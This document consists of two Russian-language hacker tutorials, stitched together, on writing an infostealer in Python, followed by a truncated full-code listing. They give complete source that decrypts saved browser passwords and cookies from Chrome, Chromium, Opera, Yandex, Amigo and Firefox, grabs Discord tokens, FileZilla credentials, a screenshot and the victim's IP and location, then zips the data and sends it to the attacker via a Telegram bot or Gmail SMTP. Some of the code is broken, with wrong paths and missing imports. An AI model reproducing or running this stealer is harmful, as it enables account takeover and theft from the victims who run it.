Пишем свой стилер на python [BlackCoding]
Привет хацкер, сегодня сделаем свой пиздатый стиллер на Python’e.
- Стиллинг сохранённых паролей и куков из браузеров(Google Chrome, Chromium, Amigo, Opera, Yandex Browser)
- Скриншот рабочего стола
- Стиллинг токена Discord
- Стиллинг сессий FileZilla
- Логи отправляются в Telegram
Приступим!
Создаём бота у @BotFather копируем токен бота, идём в лс к своему боту и начинаем диалог, далее переходим к этому боту @userinfobot и узнаём свой chat id.
С ботом закончили, открываем cmd и пишем следующие команды:
pip install pyTelegramBotAPI pip install win32crypt pip install telebot
Теперь открываем IDE и начинаем кодить:
Импортируем нужные библиотеки:
import os import sqlite3 import win32crypt import telebot import shutil import requests import zipfile from PIL import ImageGrab
Теперь объявляем переменную username, которая содержит имя пользователя:
username = os.getlogin()
Переменные для работы с ботом телеграм:
token = 'ВАШ_ТОКЕН_ОТ_БОТА' bot = telebot.TeleBot(token)
Сейчас будем воровать пароли от хрома(комментарии отмечены # / #комментарий):
def Chrome(): # Создаём функцию text = 'Stealer coded by Dark $ide\n\n\nPasswords Chrome:' + '\n' # Добавим авторов стиллера) text += 'URL | LOGIN | PASSWORD' + '\n' # Объясняем что лог идём в формате Ссылка | Логин | Пароль if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): # Ищем файл Login Data В котором содержатся все пароли shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') # Начинаем работать с sqlite базой cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') # Вытаскиваем Ссылку, логин, пароль for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() # расшифровываем данные login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' # Добавляем данный в переменную return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") #Сохраняем данныем в txt файл google_pass file.write(str(Chrome()) + '\n') file.close()
Теперь воруем куки из хрома:
def Chrome_cockie(): textc = 'Stealer coded by Dark $ide\n\n\nCookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") #данные file.write(str(Chrome_cockie()) + '\n') file.close()
Воруем куки из Yandex Браузера:
def Yandex(): texty = 'Stealer coded by Dark $ide\n\n\nYANDEX Cookies:' + '\n' texty += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] texty += url + ' | ' + str(cookie) + ' | ' + name + '\n' return texty file = open(os.getenv("APPDATA") + '\\yandex_cookies.txt', "w+")#данные file.write(str(Yandex()) + '\n') file.close()
def Firefox(): textf = '' textf += '\n' + 'Stealer coded by Dark $ide\n\n\nFirefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")#данные file.write(str(Firefox()) + '\n') file.close()
Пароли браузеров на основе Chromium:
def chromium(): textch = '\n' + 'Stealer coded by Dark $ide\n\n\nChromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")#данные file.write(str(chromium()) + '\n') file.close()
Куки браузеров на основе Chromium:
def chromiumc(): textchc = '' textchc += '\n' + 'Stealer coded by Dark $ide\n\n\nChromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")#данные file.write(str(chromiumc()) + '\n') file.close()
def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+")#данные file.write(str(Amigo()) + '\n') file.close()
def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+")#данные file.write(str(Amigo_c()) + '\n') file.close()
Воруем пароли с Оперы:
def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+")#данные file.write(str(Opera()) + '\n') file.close()
def Opera_c(): textoc = '\n' + 'Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")#данные file.write(str(Opera_c()) + '\n') file.close()
Теперь будем воровать DISCORD токен:
def discord_token(): if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True: token = '' conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage") cursor = conn.cursor() for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"): token = row[1].decode("utf-16") conn.close() if token != '': return token else: return 'Discord exists, but not logged in' else: return 'Not found' ds_token = discord_token() ds_token += 'Discord token:' + '\n' + discord_token() + '\n' + '\n' file = open(os.getenv("APPDATA") + '\\discord_token.txt', "w+")#данные file.write(str(discord_token()) + '\n') file.close()
Воруем Сессии FileZilla:
def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+")#данные file.write(str(filezilla()) + '\n') file.close()
Делаем скриншот рабочего стола:
screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg')#данные
Теперь сохраняем все данные в архив:
zname=r'D:\LOG.zip' #создаем переменную - название и местоположение файла newzip=zipfile.ZipFile(zname,'w') #создаем архив newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\google_pass.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\google_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\yandex_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\chromium.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\chromium_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\amigo_pass.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\amigo_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\opera_pass.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\opera_cookies.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\discord_token.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\filezilla.txt') newzip.write(r'C:\\Users\\' + username + '\\AppData\\Roaming\\sreenshot.jpg') newzip.close() #закрываем архив
Теперь добавим переменную doc:
doc = 'D:\LOG.zip'
Отправляем сообщение в телеграм бота:
bot.send_document(ВАШ CHATID, doc)
На этом всё, думаю если будет время добавлю ещё плюшек.
Скачать исходники можете тут: https://anonfile.com/u8C9l1v6b9/Dark_tealer_v1.0_py
Dark $ide — Твоя Тёмная Сторона
Если хочешь предложить свой контент пиши в бота: @ ds_offer_robot
Стиллер паролей на python с отправкой на почту
Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система.
Приступим к делу
Создаем новый файл в IDLE Python или в другой IDE.

Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули.
Все нужные модули
pip install pyinstaller
pip install requests==2.7.0
pip install pywin32
pip install ip2geotools
pip install opencv-python
pip install Pillow
pip install db-sqlite3
pip install temp
import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random
Собираем с пользователя все его данные.
################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") #создаем txt с его расположением file.write(all_data)#записываем данные file.close()#выходим
Собираем пароли с хрома.
################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") #создаем txt с его расположением file.write(str(Chrome()) + '\n')#записываем данные file.close()
Собираем куки с хрома.
################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close()
################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close()
Пароли с хромиума.
################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close()
Куки с хромиума.
################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close()
################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close()
################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close()
################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close()
################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close()
Пароли с яндекс браузера.
################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close()
################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close()
Данные с FILEZILLA.
################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close()
Делаем скриншот экрана.
################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg')
Тут записываем наши тхт в один ZIP — doc.
################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close()
Вот он наш ZIP по всеми данными.
################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip'
################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'тут ваша новая почта с которой отправится' msg['To'] = 'почта на которую отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext)
Тут мы создаем вложение для нашего doc’а ZIP.
################################################################################ # СОЗДАНИЕ Вложения # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part)
Здесь мы собственно производим отправку на емаил с помощью SMTP
################################################################################ # ОТПРАВКА ВАМ # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587)#ваш почтовый сервис,советую создавать новую гмаил s.starttls() s.login('тут ваша новая почта с которой отправится', 'тут пароль от новой почты') s.sendmail('тут ваша новая почта с которой отправится', 'почта на которую отправится', msg.as_string()) s.quit() i = input()
Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это:
На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК.
Весь код
import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random ################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = 